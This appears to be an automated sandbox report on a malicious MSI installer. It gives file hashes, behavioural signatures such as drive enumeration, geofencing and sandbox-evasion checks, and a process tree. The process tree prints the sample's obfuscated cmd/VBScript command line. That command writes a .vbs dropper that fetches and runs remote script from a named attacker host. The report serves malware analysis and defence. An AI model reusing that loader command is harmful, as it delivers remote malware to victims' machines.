Analysis
-
max time kernel
143s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27/02/2024, 20:13
Static task
static1
windows7-x64
11 signatures
150 seconds
windows10-2004-x64
13 signatures
150 seconds
General
-
Target
-
Size
384KB
-
MD5
540118ed71408b7bc31049ffd807086f
-
SHA1
677773c0fe3fe27cce1e4b31cb7ccdee8d35cca5
-
SHA256
50687300a0d51a86bd5c858b6ee6fa0db171926da7fcbc8ac93f9a336e709443
-
SHA512
044d0a2ec7633e385522039365522eb1f64f68863ab6a83794ae521810761a5830de00a5e629106a41412be91543a0b033140f79307437be7f8ba3cfda60771a
-
SSDEEP
6144:sObcrPQl9NwDgT0PEvRmee5spsl9elNjJuNmafuSJS:sOcrPQlwy0PEJmRuTJuNmaGiS
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 64 3144 WScript.exe 66 3144 WScript.exe 69 3144 WScript.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation cmd.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI3629.tmp msiexec.exe File created C:\Windows\Installer\e593445.msi msiexec.exe File opened for modification C:\Windows\Installer\e593445.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe -
Loads dropped DLL 1 IoCs
pid Process 2108 MsiExec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000064efbbd21686319b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000064efbbd20000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090064efbbd2000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d64efbbd2000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000064efbbd200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3868 msiexec.exe 3868 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeShutdownPrivilege 2032 msiexec.exe Token: SeIncreaseQuotaPrivilege 2032 msiexec.exe Token: SeSecurityPrivilege 3868 msiexec.exe Token: SeCreateTokenPrivilege 2032 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2032 msiexec.exe Token: SeLockMemoryPrivilege 2032 msiexec.exe Token: SeIncreaseQuotaPrivilege 2032 msiexec.exe Token: SeMachineAccountPrivilege 2032 msiexec.exe Token: SeTcbPrivilege 2032 msiexec.exe Token: SeSecurityPrivilege 2032 msiexec.exe Token: SeTakeOwnershipPrivilege 2032 msiexec.exe Token: SeLoadDriverPrivilege 2032 msiexec.exe Token: SeSystemProfilePrivilege 2032 msiexec.exe Token: SeSystemtimePrivilege 2032 msiexec.exe Token: SeProfSingleProcessPrivilege 2032 msiexec.exe Token: SeIncBasePriorityPrivilege 2032 msiexec.exe Token: SeCreatePagefilePrivilege 2032 msiexec.exe Token: SeCreatePermanentPrivilege 2032 msiexec.exe Token: SeBackupPrivilege 2032 msiexec.exe Token: SeRestorePrivilege 2032 msiexec.exe Token: SeShutdownPrivilege 2032 msiexec.exe Token: SeDebugPrivilege 2032 msiexec.exe Token: SeAuditPrivilege 2032 msiexec.exe Token: SeSystemEnvironmentPrivilege 2032 msiexec.exe Token: SeChangeNotifyPrivilege 2032 msiexec.exe Token: SeRemoteShutdownPrivilege 2032 msiexec.exe Token: SeUndockPrivilege 2032 msiexec.exe Token: SeSyncAgentPrivilege 2032 msiexec.exe Token: SeEnableDelegationPrivilege 2032 msiexec.exe Token: SeManageVolumePrivilege 2032 msiexec.exe Token: SeImpersonatePrivilege 2032 msiexec.exe Token: SeCreateGlobalPrivilege 2032 msiexec.exe Token: SeBackupPrivilege 4904 vssvc.exe Token: SeRestorePrivilege 4904 vssvc.exe Token: SeAuditPrivilege 4904 vssvc.exe Token: SeBackupPrivilege 3868 msiexec.exe Token: SeRestorePrivilege 3868 msiexec.exe Token: SeRestorePrivilege 3868 msiexec.exe Token: SeTakeOwnershipPrivilege 3868 msiexec.exe Token: SeRestorePrivilege 3868 msiexec.exe Token: SeTakeOwnershipPrivilege 3868 msiexec.exe Token: SeBackupPrivilege 5096 srtasks.exe Token: SeRestorePrivilege 5096 srtasks.exe Token: SeSecurityPrivilege 5096 srtasks.exe Token: SeTakeOwnershipPrivilege 5096 srtasks.exe Token: SeBackupPrivilege 5096 srtasks.exe Token: SeRestorePrivilege 5096 srtasks.exe Token: SeSecurityPrivilege 5096 srtasks.exe Token: SeTakeOwnershipPrivilege 5096 srtasks.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2032 msiexec.exe 2032 msiexec.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3868 wrote to memory of 5096 3868 msiexec.exe 108 PID 3868 wrote to memory of 5096 3868 msiexec.exe 108 PID 3868 wrote to memory of 2108 3868 msiexec.exe 110 PID 3868 wrote to memory of 2108 3868 msiexec.exe 110 PID 3868 wrote to memory of 2108 3868 msiexec.exe 110 PID 2108 wrote to memory of 2452 2108 MsiExec.exe 111 PID 2108 wrote to memory of 2452 2108 MsiExec.exe 111 PID 2108 wrote to memory of 2452 2108 MsiExec.exe 111 PID 2452 wrote to memory of 4140 2452 cmD.exe 113 PID 2452 wrote to memory of 4140 2452 cmD.exe 113 PID 2452 wrote to memory of 4140 2452 cmD.exe 113 PID 4140 wrote to memory of 3144 4140 cmd.exe 114 PID 4140 wrote to memory of 3144 4140 cmd.exe 114 PID 4140 wrote to memory of 3144 4140 cmd.exe 114 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\[email protected]1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2032
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 82DDDF23D35CA230F98490F7108BFD5A2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\SysWOW64\cmD.execmD /V/D/c EcHo b6s7t1=".":FunctIon cl52r4o5(tga0r0s2):jnea48=Array(":","t","r","c","1"):cl52r4o5=jnea48(tga0r0s2):end function:xe0361w3="S"+cl52r4o5(3)+"rip"+cl52r4o5(1)+cl52r4o5(0)+"hT"+cl52r4o5(1)+"ps://contdskl"+b6s7t1+"bounceme"+b6s7t1+"net/g1":eval("Ge"+cl52r4o5(1)+"Obje"+cl52r4o5(3)+cl52r4o5(1)+"(xe0361w3)")>nul>C:\Users\Public\^wrvv88p9.vbs&c:\windows\system32\cmd /c start C:\Users\Public\wrvv88p9.vbs3⤵
- Suspicious use of WriteProcessMemory
PID:2452 -
\??\c:\windows\SysWOW64\cmd.exec:\windows\system32\cmd /c start C:\Users\Public\wrvv88p9.vbs4⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\wrvv88p9.vbs"5⤵
- Blocklisted process makes network request
PID:3144
-
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4904
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3752 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:81⤵PID:1832
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
302B
MD588ec58985a945b2dc39b8af9eb33ae58
SHA1b37b01bd459bfac3ef68d23a7e48a65ba4677c82
SHA256985e4eeb5fd44d746c7ec4cbc465552aee808b266aeb27b4f14b225f29fd7ecf
SHA512c9fa8aaac14af7e23c02720face3327e28c339849f9f476584c7fbdccb1fdde8cb4d17ac48775ac7b114da81b6a1a9462f0c1569b1219296570f9cf943e7bc44
-
Filesize
353KB
MD581ba356229b2cfd55bb8f16e47b8f50e
SHA1cc7932a23380c92643f980172a6621af3539e3cf
SHA256b4a05de141280888621b5a3e52830ab06c105d797768baf909ede42fb8b18b61
SHA5128ac2167bef3f627f48f3995b91676afe8cdb79d77de47fc760bb7e3fcb6eb22726f9ce90f3ae00b424db4a50f9d6906e9459ed8937e8dd018ee6b128fd457540
-
Filesize
3.7MB
MD5d8fc40cf581b9312ab6611cf455303eb
SHA17231c5c518f3f19af5e62d874a5bf9dda2167826
SHA2565e21a0c94351a8d7294450c02c5d8da1450a1f4c25e517a163d2fb678096343a
SHA5127f9d1490431cad54f8ba43950ee36ef3d194874c8f923e60ed4ffd88b884f581b83c5b54bfcc27d56bc51ca4b48eb19ad2c2dc257aff567e104eacbb4edaa86b
-
\??\Volume{d2bbef64-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{6255caa2-5d2f-4252-810a-6ca999236ba0}_OnDiskSnapshotProp
Filesize6KB
MD5a4c87d832a6c1d1c052ce6e9f9234dc0
SHA137920182c541e4180376c99b3869b386e10797d6
SHA2563a73d0b51e6d767f28dc29270f1167d150194a395ae5855f0e7c4370237b8ac5
SHA5125eca2ed7ff3084a117c36bed4d27649e8ddbb39721edb1355c3960fd4845bf4fe13e5cdec261356df8e3cfee5f8978b3237ccfeb7272bc35dae8651f489b43fc